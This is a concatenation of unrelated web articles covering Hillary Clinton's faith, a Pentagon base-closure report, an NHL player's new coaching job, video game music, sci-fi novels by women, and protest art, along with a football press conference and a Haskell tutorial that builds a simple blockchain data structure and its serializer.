In a piece published by The Christian Post last September, Tooley argued that Hillary's Methodist beliefs were centered more on the "Social Gospel", which stresses secular improvement of society over evangelism and orthodoxy.
"To my knowledge, Hillary has not been a regular church goer since leaving the White House 14 years ago, although daughter Chelsea was married by a Methodist clergy in New York, whose congregation may be a sort of home church for the Clintons," wrote Tooley.
"But active church participation is not central for the Social Gospel, which focuses on transforming society, not saving individual souls."
Tooley cautioned in his September piece that, "All the denominations that embraced the Social Gospel have suffered dramatic declines."
"The Social Gospel has lofty aspirations inspired by Christ's desire to feed, clothe, house, heal and uplift," continued Tooley. "But the Social Gospel and its [adherents] in their zeal for building God's Kingdom on earth forget the eternal Kingdom and its standards of righteousness possible only through the King."The Pentagon is renewing its controversial push to close some military bases, and a new study suggests the Army could be impacted the most significantly.
The Defense Department on Friday sent a report to Congress that concludes the military's current network of installations has about 22 percent more space than is needed. It found that the Army has 33 percent excess capacity, the Air Force has 32 percent more space than it needs and the Navy is over by 7 percent.
The Defense Logistics Agency has 12 percent excess, according to the 20-page report, the first of its kind in 12 years. Military Times obtained a copy of the document on Friday.
"This level of excess underscores the need for a BRAC round because it is clear that the Department has more infrastructure than force structure plans require," it states.
The report aims "advance the dialogue" on the Defense Department’s long-standing request for a new Base Realignment and Closure Commission, the mechanism that Capitol Hill uses to identify which military bases to shutter, according to an accompanying letter from Deputy Defense Secretary Robert Work.
The new study is based on projected force levels in 2019.
Implementing a new BRAC would eventually save the Defense Department about $2 billion annually, according to the report, which does not identify specific facilities eyed for closure.
× Fear of missing out? Fear no longer. Be the first to hear about breaking news, as it happens. You'll get alerts delivered directly to your inbox each time something noteworthy happens in the Military community. Thanks for signing up. By giving us your email, you are opting in to our Newsletter: Sign up for the Early Bird Brief
Instead, it looks at the services' aggregate needs by comparing the Army's maneuver brigades to total training space, the size of the Navy's fleet to pier space, and the Air Force's total aircraft inventory to hangar and flight line space.
The last such study in 2004 found an overall excess capacity of 24 percent, suggesting that the 2005 BRAC that called for closing 22 major military bases and shrinking 33 others had limited long-term impact.
Congress has convened base closure commissions five times in recent years, in 1988, 1991, 1993, 1995 and 2005. Typically BRACs aim to reduce total capacity by about 5 percent.
For years the Pentagon has urged Congress to close bases to save money. The size of the active-duty military has decreased by nearly half since the end of the Cold War and many facilities across the country are underused, unnecessary and require maintenance that is draining the military budget.The end of Gregory Campbell’s 11-year NHL career played out at the hands of the Blue Jackets last fall. He was the last cut of training camp, refused assignment to minor-league Cleveland, was suspended without pay for failing to report, and later put on unconditional waivers to terminate his contract.
But the Blue Jackets never said goodbye.
Campbell has joined the team as an assistant player development coach, working with Chris Clark (North America) and Jarkko Ruutu (Europe) to help foster the organization’s top prospects.
“I had a lot of time to think about things over the last six or seven months,” Campbell said. “I wasn’t ready to stop playing, but that’s how it ends for most guys, and when it happens, you’ve got to move on. I feel like I have a lot to offer, but I also have a lot to learn, too, and the management group here was willing to give me an opportunity that will let me experience different parts of the game.”
Campbell played all 82 games with the Blue Jackets during the 2015-16 season. It was a surprise, then, when unheralded minor-leaguer Lukas Sedlak beat him out for the final roster spot in training camp last fall. These things are never easy.
“He’s a proud professional,” Blue Jackets general manager Jarmo Kekalainen said. “He took it extremely hard, but I met with him face to face, just out of respect for him and the career he’s had.”
Campbell and the Blue Jackets stayed in touch in the weeks that followed, often through Campbell’s agent, Pat Morris.
“They gave me the space I needed,” Campbell said. “But they also left a door open.”
After his contract was terminated in early December, Campbell agreed to play for Canada in the annual Spengler Cup in Davos, Switzerland, allowing him to end his career on the ice and on a high note. Canada won the tournament. Soon after, the Blue Jackets started talking to Campbell about life after his playing days.
“I’m a big believer that when you recognize quality individuals, you try to find a role for them and bring them in,” Kekalainen said. “When you find somebody with extraordinary character, you make room for that in your organization.”
Campbell started in March and April with visits to eastern Canada, watching Pierre-Luc Dubois — the Blue Jackets' No. 3 overall pick last summer — play in the Quebec Major Junior Hockey League playoffs. He’ll be back in Columbus this month for the annual development camp.
“I’m proud of what I accomplished in my playing career,” said Campbell, who won the 2011 Stanley Cup with Boston. “I won’t ever be looked at as one of the greats, but I did everything I could to be the best player I could be. Nothing will be as much fun as playing, but there’s a lot more to hockey, and I’m learning that now. I’m excited to help young guys find their way.”
aportzline@dispatch.com
@AportzlineMercedes-Benz have developed a shark-like concept car called the Formula Zero, which looks more at home in the water than on the race track for which it was designed. The car is a solar-powered green-machine, supposedly inspired by Formula One and Yacht Racing. What it actually looks like is a cross between a shark, a vehicle and the USS Voyager.
Designed in-house by the Mercedes-Benz Advanced Design Center, the Formula Zero is part of an idea for a futuristic style of motor racing where the emphasis is on energy efficiency. Teams would start with an equal allocation of energy and it would be down to the skill of the driver and the design of the car to win the race.
Winners would be determined based on both time elapsed and energy used, which seems like a fun challenge, but not something that would be much fun to watch. Perhaps anticipating this, the designers also envision a race track made of a see-through material so that spectators can watch the action (read: crashes caused by the lack of traction) from beneath the road surface.
The car would have electric hub motors on each of its four wheels and a solar skin that would recharge the batteries. Sounds…quiet.
Sources:
EMercedesBenz via EcoFriendI generally like the Star Wars TFs--although I don't think I've payed full price for one.I got Death Star Vader and X-Wing Luke at TJMaxx each for less than half price, I got Kit Fisto and the AT-TE free in a Hasbro giveaway, I got TIE Vader as a gift, I got Grievous and Magnaguard in one of those bonus packs (basically two single-carded figures bound together with a piece of cardboard and sold for the price of one) and Yoda in a BOGO 50% off deal at TRU after buying a real TF. So yeah, I might be a bit biased by thatI will say, if they re-released Darth Maul I'd be all over it. Love me some Darth Maul. Maybe when Episode I is re-released in 3D.Replay, Relive, and Reminisce
The sound of a memorable melody can invoke emotions like joy, sorrow, stress, and most prominently, nostalgia. Why is it that when we hear that one song, we feel the urge to crank the volume, start dancing, and are suddenly gifted with Moves Like Jagger? Nostalgia is a powerful emotion. Many things can trigger this overwhelming feeling like a scent, a location, food, or any item really. As long as there is a strong memory attached to it, we are immediately transported to the time that we first experienced it. Just how powerful is nostalgic music? Let’s find out.
In a study conducted by Hébert et al, it was hypothesized that if two groups played a video game -one with background music and the other without- the group exposed to music would have higher levels of cortisol. Cortisol is a hormone produced by the adrenal glands. Besides the many functions that cortisol has for the body like metabolizing sugar and fat for energy, it also helps the body manage stress. The players who were exposed to video game music had an improved response to stress. It could be argued that videogames are either stress-inducing or alleviating, as mentioned in Patrick Felicia’s book Game-Based Learning: Challenges and Opportunities.
Who hasn’t felt their heart pumping loudly during a boss fight in an RPG? I’ve felt it many times! One game that helped set the mood for me as a young gamer was Mega Man X. Imagine being a seven-year-old, going through the icy and frigid stage of Chill Penguin. You wall climb to get your first armor piece from Dr. Light, and you learn to use the Dash ability. You trudge through the heavy snow, dodge snow balls being thrown by a rampant Reploid, and finally make it to the boss door!
As X dashes into the boss lair, the music suddenly changes, letting you know that it’s time to do the tango with a Maverick. As you see the Maverick’s life bar fill up way higher than yours (yikes!), the boss music starts –at first somewhat tame, but soon escalating into a rapid crescendo on the keyboard that gets you pumped for the battle!
Not all songs are rapid and exceeding 180 bpm, though. Some songs are nice and relaxing, or inspiring, to enhance certain activities in the game. Consider the music of Wave Race 64, specifically Sunny Beach. The calm & soothing trumpet accompanied by the piano really sets the mood for “Hey, let’s go have fun in the sun!”.
It’s no question that video games and music go hand in hand when it comes to creating a complete experience, but does great music always mean a great game? There are some instances in which that isn’t the case. Does anyone remember Gremlins 2: The New Batch – The Video Game? It’s one of the few licensed video games based off a movie that was actually good, but then again, you can’t go wrong with Sunsoft because everyone loved their NES Batman. Let’s look at online reviews of both Gremlins 2: The New Batch – The Video Game, and Abadox. Both games came out in the same year, and both have mixed reviews. I would love to compare sales figures for these games, but unfortunately that information is nowhere to be found on the internet.
In general, Gremlins 2: The New Batch – The Video Game had positive reviews from gaming websites like ScrewAttack, Gamespot, and even Septicor. Some complained about its high level of difficulty and unforgiving pitfalls, but that’s why the term “NES Hard” was coined amongst gamers. All of them agreed that the game is fun to play, and more importantly, the music is fantastic. The first level background music sounds very similar to the theme from the movie. Go ahead and give it a whirl:
NES: Gremlins 2 – The New Batch Video Game
Next up, we have Abadox. The majority of reviews about it said that the game is insanely hard, stress-inducing, and just downright difficult. The upside, though, is that Abadox’s music & visuals are a driving force to keep you playing, as mentioned by the flyingomelette.
Basically, the relation of good music to good games is relative to the gamer’s opinion. If you look on YouTube and other websites, there are plenty of Top Ten Video Game Music lists; check out The Completionist and ScrewAttack for theirs. Gametrailers even has a show dedicated to video game music called BackTrack, which is worth taking a look at despite it not having many entries.
Video game music has definitely become an integral part of our popular culture. How else could there be a whole website dedicated to video game music remixes? The artists on OCRemix use their passion for videogames to interpret songs from their favorite childhood games. Some artists, like Anamanaguchi, are heavily influenced by the game music of yore. That name might sound familiar because they’re the ones responsible for the awesome soundtrack heard in Scott Pilgrim vs The World: The Game.
Now, there are even four touring ensembles dedicated to various video game franchises. Namely, The Legend of Zelda with the Symphony of the Goddesses, Final Fantasy with Distant Worlds, Video Games Live (all video games), and now the Pokémon series with Symphonic Evolutions, which is currently playing in three locations: Pittsburgh, Baltimore, and Los Angeles.
What are you all time favorite video game soundtracks? Let us know in the comments below.For this list of 17 of the best sci-fi books by female science fiction writers, we drew on old, new, well known and lesser known alike.
So be it! See to it! – Octavia Butler
The Internet Review of Science Fiction attempted, via an algorithm, to pin down the differences between male and female science fiction writers. They discovered, with nearly 90% accuracy, that, “Gender division in writing and reading thus comes down to tendencies, not absolutes. Men more often concern themselves with actions, ideas, and analysis. Women more often concern themselves with processes, perceptions, and implications.” That being said, it only makes sense that female science fiction writers devastate our perceptions of reality and rebuild the implications of our future.
Despite the success of female literary bad-asses, the stereotype remains that women shy away from brutality and pepper their sci-fi novels with desperate love stories. In an attempt to blow your mind with the power of STRAIGHT FACTS, here’s a list of 17 of the best sci-fi books from female science fiction writers, all absolute must reads. We got old books, new books, well-known authors and not-so-well-known authors all in one place to break out of the box the patriarchy has built around us!!!
…ahem… Moving on:
One of Butler’s least discussed sci-fi novels, Fledgling deserves a bit more time in the lime light. It tells the story of a young girl who awoke in a cave with no memories, and very strange needs and skills. Eventually, Shori, the young girl, realizes she is part of an ancient race of vampiric creatures that survive off a symbiotic relationship with human beings, but are otherwise superior to them.
Shori is the result of genetic modification and thus is the only one of her kind with dark skin, an attempt by her people to make her resistant to sunlight. In one brilliant novel, Butler redefines and explores the race struggle, along with gender inequality and the plague of otherness. One of the finest from the mother of female sci-fi, (or aunt, if you’re a Mary Shelley devotee), Fledgling is even more important to read today, in the light of certain recent race-motivated political happenings.
2. N.K. Jemisin: The Fifth Season, 2016
Epic sci-fi fantasy newcomer N.K. Jemisin is making some serious waves with her novel The Fifth Season. It was awarded the Hugo Award for Best Novel at the 74th World Science Fiction Convention on August 20, 2016, and was also nominated for the Nebula Award and World Fantasy Award for Best Novel. The alternate reality epic takes place on a planet where everyone lives on one supercontinent they call the Stillness (lack of plate tectonics maybe?). Every few centuries, its inhabitants endure a season of catastrophic climate change, which they call the fifth season.
The Stillness is populated by a variety of creatures, including the Orogenes, people with power over the elements and planet itself. Rife with political and social commentary, Jemisin crafts a world that exists only in chaos. Luckily for fans, The Fifth Season is the first of a new series, aptly named The Broken Earth series. It’s exciting to see a woman writer to create worlds as adventurous and engulfing as Tolkien’s Middle Earth, especially knowing it’s only the beginning of the series! The first novel deals a lot with classism, racism, and environmental struggles as well as internal battles raging inside the main characters.
3. Joanna Russ: The Female Man, 1975
Undeniably THE feminist sci-fi novel, The Female Man discusses what it means to be a woman across 4 dimensions. The novel follows the lives of four women who live is alternate space-time realities. When they cross over to each other’s worlds, their different views on gender roles startle each other’s preexisting notions of womanhood. In the end, their encounters influence them to evaluate their lives and shape their ideas of what it means to be a woman. The books title spawns from the upsetting reality that in some worlds and times that many strong women still feel the need to be “men” in order to get respect.
This concept is played with throughout the parallel universes in the novel, via cosmetic sex changes to support forcibly homosexual lifestyles, submissive robotic sex slaves, and parthenogenesis. It goes without saying that this novel will force anyone, feminist or otherwise, to think outside their gender box. Novels such as this prove that sci-fi is the perfect genre to experiment with controversial subjects, by distancing the subject from the reader (through use of aliens or alternate realities, etc.) and thus forcing them to think objectively about it. The best sci-fi books use alternate realities to change the one we’re in.
4. Madeline L’Engle: A Wrinkle in Time, 1963
It was a dark and stormy night… In addition to paying homage to Edward Bulwer-Lytton and discussing quantum physics surprisingly in-depth, this amazing novel is as accessible to children as it is to adults. It features Meg Murry as the young female protagonist, who, unlike many others on this list, is just simply normal. She’s not exceptionally special like her brother, telekinetic child prodigy Charles Wallace, or athletic like her talented twin brothers Sandy and Dennys, gorgeous and brilliant like her scientist mother, or as kind-hearted and world-shatteringly intelligent father whose disappearance fuels the novel.
Centering mainly on theoretical physics in alternate dimensions and how they may exist and affect ours in surprising ways, it also acts as a coming of age story for a trouble young woman without a father, and how to cope with one’s humanity in a house with an excess of supernatural happenings and superhuman family members. Don’t take this novel lightly; A Wrinkle in Time functions as a societal critique and an experiment in gender roles, especially when dealing with the genderless 5 dimensional beings and why they chose to go by the female prefix, Mrs.
5. Margaret Atwood: MaddAddam Trilogy, 2003-2013
Personally, I can’t praise this series enough. It reminded me how passionately in love I am with reading, and reading sci-fi in particular. Though the author doesn’t believe the trilogy is technically science fiction, I disagree. It takes place in a post-apocalyptic future after an unexplained event ravaged the globe and killed nearly every human being in a disturbing manner (I don’t want to spoil it!).
The first novel of the series, Oryx and Crake, follows one of the last survivors in his quest for a somewhat normal existence, or even simply not worrying about being eaten by strange feral mutant creatures that have overrun the globe. He reminisces about his childhood as the son of two successful genetic scientists, and how his childhood friend would play his part in bringing the world to its knees. Genetic modification changed day to day life for everyone prior to the event they eventually call “The Flood,” from human organs harvested from pigoons, pig-human hybrids, or keeping rakunk’s, raccoon-skunk hybrids, as pets. Because of its frighteningly realistic themes of genetic modification being taken too far, and human destruction of the environment, the MaddAddam trilogy are some of the best sci-fi books recently and are a must-read for all sentient beings existing in our space-time.
6. L. Timmel Duchamp: Alanya to Alanya, 2005
The year is 2076 and the world is controlled by a male-dominated ruling class patterned loosely after the corporate world of today, until the aliens land. Life on Earth implodes as the Marq’ssan race of aliens make a surprise visit, inciting a war that would tear reality apart. Protagonist and historian Kay Zeldin sets aside her books and joins Robert Sedgewick, US Chief of Security Services, in his war against the aliens. Unfortunately for Kay, war is never just black and white. When a confrontation with the aliens brings to light her long-buried past, she is forced to ask herself which side she is truly on. Her very grip on reality is slipping, and soon she will wonder which side she’s truly on, and what she’s willing to do for her beliefs.
It’s exciting to see such a talented woman writer cranking out such masterful science fiction. Alanya to Alanya forces readers to confront the uncomfortable truth of the strength of faith, in oneself and one’s government, and what to do when the truth you thought you knew disappears forever. It also acts as a witty critique of the patriarchal capitalism infecting our reality, and how strong women should not wait for their place in society: They should forge a new one from the ashes.
7. Ursula K. Le Guin: The Dispossessed, 1974
This famous novel pulls no punches when it comes to critiquing society. The powerful messages woven into The Dispossessed: An Ambiguous Utopia brought sci-fi into the realm of “high art” for its creative representation and criticism of all types of societies that have, do, or may exist. Two factions of an alien planet are political rivals, one is a patriarchal capitalist society and the other an authoritarian dictatorship claiming to rule in the name of the proletariat. Sound familiar? That’s because Le Guin is offering us an alien look at the world that existed at that time, and the dynamic between the two super powers: The United States, and the Soviet Union.
Further developing the analogy, there are oppositional left-wing parties in A-Io, one of which is closely linked to the rival society Thu, as were communist parties in the US and other Western countries at the time the story was written. Other parties represent various dissident visions of socialism. Where the situation differs from that of 20th century Earth is the existence of the anarcho-syndicalist world Anarres. When The Dispossessed was published, its highly lauded critical reception made Le Guin the first author to win both the Hugo and Nebula Awards two years in a row (the prior year she won the awards for The Left Hand of Darkness).
8. C.J. Cherryh: Downbelow Station, 1981
Downbelow Station is a space opera that takes place during a massive interstellar war between two factions: The Earth Company, a huge rich and powerful organization that focuses on exploring the universe for inhabitable planets, and Union, a rebel force based on a planet that is no longer controlled by the Company. Downbelow Station won the Hugo Award in 1982 and was named by Locus magazine as one of the top 50 best science fiction novels of all time in 1987. Possibly more relevant than ever, a main focus of this novel is the acceptance (and reluctance towards) refugees of war. The millions of unexpected refugees, Company survivors of planets and space stations lost to Union, strain the resources of the titular Downbelow Station, and cause waves of fear and paranoia to sweep through the ships officials, who then handle the situation in less than ideal ways.
This lengthy novel studies how people on opposite sides of conflict tend to lose sight of the others humanity, and when your enemy may be light years away, it leads to vicious demonization and fear. This Hugo Award-winning novel makes uncomfortable, but important, points on the how the very definition of humanity changes through the lens of war. It even has a board game!
9. C.N. Lesley: Shadow Over Avalon, 2013
A thrilling retelling of the Arthurian tales of yore, Shadow Over Avalon describes a fantastic undersea world in which a young boy longs for more than what life handed to him. Designed to spend his life in service to some intangible thing called the Archive, Arthur instead wants to visit land and fight alongside the surface-dwelling people who are in a constant battle against beasts and other predators. Ashira, the Princess of the undersea kingdom faces an equally difficult decision that may affect the future of her people forever. It’s brilliance comes not from political or socioeconomic commentary, but by embracing the pure magic of millennia-old stories.
Lesley shows readers that strong characters can exist without a real-life metaphorical cause behind them, and though I believe it is necessary to comment on society to keep it in check, it is also necessary to enjoy reading strong characters, female and otherwise, simply for fun. In a world where controversy and social inequality pervades even children’s books, books such as Shadow Over Avalon become centrally important.
10. Pat Cadigan: Synners, 1991
Considered by many to be the mother of cyberpunk, Pat Cadigan constructs worlds in her novels that scrub out any distinction between reality and technology. Synners, in particular, tells the story of tattooed hacker badasses struggling to fit the seemingly all-powerful corporations that have been drugging consumers with built-in feel good implants and plugging sockets into their brains to enhance the experience of watching high-tech music videos. The descriptions of the settings and thoughts of characters are somewhat indistinguishable, creating a cyberpunk wonderland the reader can physically explore.
Written nearly 30 years ago (holy crap) this far-seeing novel can be quite frightening when compared to our current tech-mad reality run by governments that are run by corporations. It offers a creatively confusing path that leads to readers questioning their reality, which I always love. Cadigan masterfully scrambles her narratives, which include dozens of narrators, to create this feeling of all-ness in such an isolated universe. Goodreads reviewer Elizabeth said, “For the first 30% I was mostly baffled, the next 30% was slow but interesting, and the last 40% was just pure OH GOOD GOD THIS IS BATSHIT GENIUS.” If that’s not enough to convince you, there’s no hope.
11. PD James: The Children of Men, 1992
2021 is terrifyingly near, and in The Children of Men, it’s terrifyingly vacant. This haunting story follows a group called the Five Fishes who have not yet given up hope that the human race will bounce back from the brink of extinction. In 1994 in James’ UK, the sperm count of all men dropped to zero, and thus the last children were born nearly 30 years before the novel begins. If hope appears in the form of a pregnant woman, she would have to be protected at all costs from gangs and dictator-esque governments.
This novel is definitely a must read for anyone, sci-fi addict or otherwise. It offers a societal critique without pointing fingers by causing the world to collapse from an uncontrollable incident. In our technologically advanced and (somewhat) financially stable world, couples are choosing more than ever to not have kids, so if a biological anomaly such as in the novel were to occur, Children of Men may become less dystopic fiction, and more dystopic reality. (This book is the basis for Alfonso Cuaron’s 2006 film Children of Men, and though it went through changes and alterations, James was reportedly pleased with the final product.
12. Sherri S. Tepper: The Gate to Women’s Country, 1988
Ask any woman and chances are they’ve wished for a world without men at some point or another, and in Tepper’s post-apocalyptic (or utopian, am I right?) novel, events are placed 300 years in the future, where they finally figured everything out and created a women-only country. Just kidding, there was a catastrophic war that separated the United States into several independent nations. The novel follows Stavia, a young woman living in Marthatown, inside Women’s Country. Though a matriarchal nation populated and run only by women, a small amount of male servitors are permitted to live within the city walls. They have also developed a matriarchy where the women and children live within town walls with a small number of male servitors, and most of the men live outside the town in warrior camps.
The narrative is all but linear, being told mostly through flashbacks. As the reader learns more about Women’s Country and the surrounding rival nations, it appears as though things are not as peaceful as they seem. Though functioning as an Ecotopia, and thus promoting peace and sustainability, the council that runs Women’s Country has some dark secrets that, when revealed to the reader, leave them to decide whether the ends truly justify the means.
13. Kate Wilhelm: Where Late the Sweet Birds Sang, 1976
Wilhelm’s post-apocalyptic novel is composed as a triptych, the sections of which are entitled: “Where Late the Sweet Birds Sang,” “Shenandoah,” and “At the Still Point,” which all take place in Virginia, along the Shenandoah River. The collapse of civilization around the world resulted from massive environmental changes and global disease, which was attributed to large-scale pollution. The novel follows a privileged family that creates a community to group together and attempt to survive the wave after wave of catastrophe crashing over the earth. The death toll continues to climb as disease and disaster trigger desperate nuclear warfare, which turns the surviving population infertile. In a last-ditch effort to save humanity, the family begins to clone themselves, because, in theory, after a few generations of cloning, they will again become fertile and can begin again.
Well, as it tends to happen in sci-fi, things didn’t go as planned. The clones refuse to revert back to traditional sexual reproduction in lieu of creating more clones, and the original members of the community, now old and outnumbered, are forced to give in. And trust me when I say, things only get crazier. This novel is another compelling read where the author is intent on making you question what it means to be human. Wilhelm also toys with the concept of global cooling (as opposed to global warming), which was a popular environmental theory in the 70’s. Regardless of the direction of temperature change, this sci-fi mind-trip warns against taking the environment for granted, and choosing technology over human life.
14. Marge Piercy: He, She, and It |
artist Shirin Barghi’s “Last Words” memes, simple white-on-black graphics, each featuring a name of a black victim of police or vigilante violence, a simple emblem, and their reported last words: Eric Garner’s heartrending “I Can’t Breathe,” Trayvon Martin’s haunted “Why Are You Following Me?,” Oscar Grant’s bewildered “You Shot Me, You Shot Me!” Barghi’s series is a way to take these individual tragedies and frame them as part of a larger narrative of catastrophe. But “Last Words” can also be read as being about the memeification of politics, cataloguing how rapidly today’s viral environment ferments symbols, symbols which can’t help become a reference for artists looking to plug into the present’s political energies. (This is already happening, from street artist Damon Davis’s “Hands Up Don’t Shoot” poster campaign, to Hank Willis Thomas’s recent sculptural interpretation of “Hands Up Don’t Shoot,” so incongruous in Miami Beach.)
If I review the year, one of the artworks that stays with me is by the collective HowDoYouSayYamInAfrican?, shown at the Bowery’s P! art space in the wake of the first eruption of protest around Ferguson. Called The Way Black Machine, it was billed as an archive of audio-visual material about Ferguson. It took the form of a wall of frantically flickering monitors, a fusillade of news footage, material from the internet, snippets of activist communiqués.
And yet what struck me about it was not so much how it succeeded in summing up the present but how it failed: The Way Black Machine conveys the sense of being in a sea of images that demand response but that overwhelm ability to sum them up; a state of affairs where you must respond faster than your ability to pull it all together into an elegant artistic whole. It is about artists, called upon by political circumstances, trying to find a new language to respond in present cultural conditions of omnipresent urgency. That, it seems to me, is the situation of visual art right now, and it is in beginning to face it honestly that we might begin to answer whether art can be equal to the challenge of the times.
Follow artnet News on Facebook:Jurgen Klopp has held “intensive” talks with his Liverpool players over their set-piece failings and demanded an immediate response against Stoke City in the Capital One Cup semi-final on Tuesday.
While delighted at Liverpool’s remarkable 5-4 win at Norwich City on Saturday, and in need of replaced spectacles having broken his favourite pair celebrating Adam Lallana’s late winner, Klopp was again frustrated by his team’s weaknesses when defending set pieces. Norwich’s opening goal was the eighth time Liverpool have conceded from a corner this season and they have conceded from 13 set pieces in total.
Premier League: 10 talking points from the weekend's action Read more
The defending at Carrow Road, Klopp revealed on Monday, has prompted another inquest at Melwood and the manager admits improvement is essential against Mark Hughes’s team in the semi-final second leg at Anfield.
“We know about this problem, I am sorry to say it is not a problem we can ignore,” Klopp said. “It is obvious we didn’t handle it too well. We are a football team and we always work on our weaknesses. It is not too easy in this short period in between [matches] but we spoke about it really intensively. We had good talks together – it’s not the first one but hopefully the last one.
“It is not about the formation because we changed the formation, it is not always about the quality of the set plays it is about what we are doing. We defended the first ball well but then struggled with the second or third so that’s a normal reaction. We were fully concentrated in defending the situation but then we closed the book too early.
“The goal of [Dieumerci] Mbokani there was still a full box so we could have pushed up a little bit earlier and whoever was left would have been offside so that would be a clever idea. There are a few movements we have to do and if we are doing them we are quite quick and stronger in defending this. It is not too late to learn but now it is time to learn and show we have learned. But then once we have spoken about it then we have to ignore it. We have to ignore the problem because after 30 seconds we have to get cool again.
Between Stoke and West Ham we have one day more [training] and we can do something on the pitch.”
Liverpool lead 1-0 from the first leg and will have Dejan Lovren available following his recovery from a hamstring injury although Nathaniel Clyne is doubtful with a knee problem.
Klopp said: “Dejan is back after three weeks, he trained yesterday and had a complete session with the team. If nothing happens in the next 24 hours it should be Kolo [Touré] and Mama [Mamadou Sakho] again [in central defence]. Clyne got a knock on the knee. He’s a really tough boy, always available, but we left him out of training and we’ll see how it goes overnight. We only have Flanno [Jon Flannagan] who has been out for a long time. He’s not had 90 minutes which is not ideal but he’s ready.”Bitcoin and Ethereum provide a decentralized means of handling money, contracts, and ownership tokens. From a technical perspective, they have a lot of moving parts and provide a good way to demo a programming language.
This article will develop a simple blockchain-like data structure, to demonstrate these in Haskell:
Writing a binary serializer and deserializer
Using cryptographic primitives to calculate hashes
Automatically adjusting the difficulty of a miner in response to computation time.
We’ll name it Haskoin. Note that it won’t have any networking or wallet security until a future article.
What is a Blockchain?
The first step when writing any software application is always to figure out your data structures. This is true whether it’s Haskell, Perl, C, or SQL. We’ll put the major types and typeclass instances in their own module:
{-# LANGUAGE GeneralizedNewtypeDeriving, NoImplicitPrelude, DeriveTraversable, DeriveDataTypeable, StandaloneDeriving, TypeSynonymInstances, FlexibleInstances #-} module Haskoin.Types where import Protolude import Crypto.Hash import Control.Comonad.Cofree import Data.Data import qualified Data.Vector as V newtype Account = Account Integer deriving ( Eq, Show, Num ) data Transaction = Transaction { _from :: Account, _to :: Account, _amount :: Integer } deriving ( Eq, Show ) newtype BlockF a = Block ( V. Vector a ) deriving ( Eq, Show, Foldable, Traversable, Functor, Monoid ) type Block = BlockF Transaction type HaskoinHash = Digest SHA1 data BlockHeader = BlockHeader { _miner :: Account, _parentHash :: HaskoinHash } deriving ( Eq, Show ) data MerkleF a = Genesis | Node BlockHeader a deriving ( Eq, Show, Functor, Traversable, Foldable ) type Blockchain = Cofree MerkleF Block
MerkleF is a higher-order Merkle tree type that adds a layer onto some other type. The Cofree MerkleF Block does two things: It recursively applies MerkleF to produce a type for all depths of Merkle trees, and it attaches an annotation of type Block to each node in the tree.
When using Cofree, anno :< xf will construct one of these annotated values.
It will be more useful to look at an “inverted” tree where each node knows its parent, rather than one where each node knows its children. If each node knew its children, adding a single new block to the end would require changing every node in the tree. So MerkleF produces a chain, not a tree.
Protolude is a replacement Prelude that I’ve been using recently in moderately-sized projects. Prelude has a lot of backwards-compatibility concerns, so a lot of people shut it off with the NoImplicitPrelude language extension and import a custom one.
Why do we choose this weird MerkleF type over the simpler one below?
newtype Block = Block ( V. Vector Transaction ) data Blockchain = Genesis Block | Node Block BlockHeader Blockchain
The main reason is to get those Functor, Traversable, and Foldable instances, because we can use them to work with our Merkle tree without having to write any code. For example, given a blockchain
import qualified Data.Vector as V let genesis_block = Block ( V. fromList [] ) let block1 = Block ( V. fromList [ Transaction 0 1 1000 ]) let genesis_chain = genesis_block :< Genesis let chain1 = block1 :< Node ( BlockHeader { _miner = 0, _parentHash = undefined }) genesis_chain let chain2 = block1 :< Node ( BlockHeader { _miner = 0, _parentHash = undefined }) chain1
, here’s how you can get all of its transactions:
let txns = toList $ mconcat $ toList chain2 -- [Transaction {_from = Account 0, _to = Account 1, _amount = 1000},Transaction {_from = Account 0, _to = Account 1, _amount = 1000}] let totalVolume = sum $ map _amount txns -- 2000
I tested the above using stack ghci to enter an interactive prompt.
Real blockchains have a lot of useful things in the header, such as timestamps or nonce values. We can add them to BlockHeader as we need them.
Constructing Chains
A bunch of abstract types that are awkward to use aren’t very useful by themselves. We need a way to mine new blocks to do anything interesting. In other words, we want to define mineOn and makeGenesis :
module Haskoin.Mining where type TransactionPool = IO [ Transaction ] mineOn :: TransactionPool -> Account -> Blockchain -> IO Blockchain mineOn pendingTransactions minerAccount root = undefined makeGenesis :: IO Blockchain makeGenesis = undefined
The genesis block is pretty easy, since it doesn’t have a header:
makeGenesis = return $ Block ( V. fromList [] ) :< Genesis
We can write mineOn without any difficulty, transaction limiting, or security pretty easily if we knew how to calculate a parent node’s hash:
mineOn :: TransactionPool -> Account -> Blockchain -> IO Blockchain mineOn pendingTransactions minerAccount parent = do ts <- pendingTransactions let block = Block ( V. fromList ts ) let header = BlockHeader { _miner = minerAccount, _parentHash = hash parent } return $ block :< Node header parent hash :: Blockchain -> HaskoinHash hash = undefined
Crypto.Hash has plenty of ways to hash something, and we’ve chosen type HaskoinHash = Digest SHA1 earlier. But in order to use it, we need some actual bytes to hash. That means we need a way to serialize and deserialize a Blockchain. A common library to do that is binary, which provides a Binary typeclass that we’ll implement for our types.
It’s not difficult to write instances by hand, but one of the advantages of using weird recursive types is that the compiler can generate Binary instances for us. Here’s complete code to serialize and deserialize every type we need:
{-# LANGUAGE StandaloneDeriving, TypeSynonymInstances, FlexibleInstances, UndecidableInstances, DeriveGeneric, GeneralizedNewtypeDeriving #-} module Haskoin.Serialization where import Haskoin.Types import Control.Comonad.Cofree import Crypto.Hash import Data.Binary import Data.Binary.Get import Data.ByteArray import qualified Data.ByteString as BS import qualified Data.ByteString.Lazy as BSL import Data.Vector.Binary import GHC.Generics instance ( Binary ( f ( Cofree f a )), Binary a ) => Binary ( Cofree f a ) where instance ( Binary a ) => Binary ( MerkleF a ) where instance Binary BlockHeader where instance Binary Transaction where deriving instance Binary Account deriving instance Binary Block deriving instance Generic ( Cofree f a ) deriving instance Generic ( MerkleF a ) deriving instance Generic BlockHeader deriving instance Generic Transaction instance Binary HaskoinHash where get = do mDigest <- digestFromByteString <$> ( get :: Get BS. ByteString ) case mDigest of Nothing -> fail "Not a valid digest" Just digest -> return digest put digest = put $ ( convert digest :: BS. ByteString ) deserialize :: BSL. ByteString -> Blockchain deserialize = decode serialize :: Blockchain -> BSL. ByteString serialize = encode
I only included deserialize and serialize to make it clearer what the end result of this module is. Let’s drop them in favor of decode and encode from Data.Binary.
Generic is a way of converting a value into a very lightweight “syntax tree” that can be used by serializers(JSON, XML, Binary, etc.) and many other typeclasses to provide useful default definitions. The Haskell wiki has a good overview. binary uses these Generic instances to define serializers that work on just about anything.
We had to hand-write a Binary instance for HaskoinHash because Digest SHA1 from the Crypto.Hash library didn’t provide it or a Generic instance. That’s okay - digests are pretty much bytestrings anyways, so it was only a few lines.
Here’s how to use them to implement mineOn :
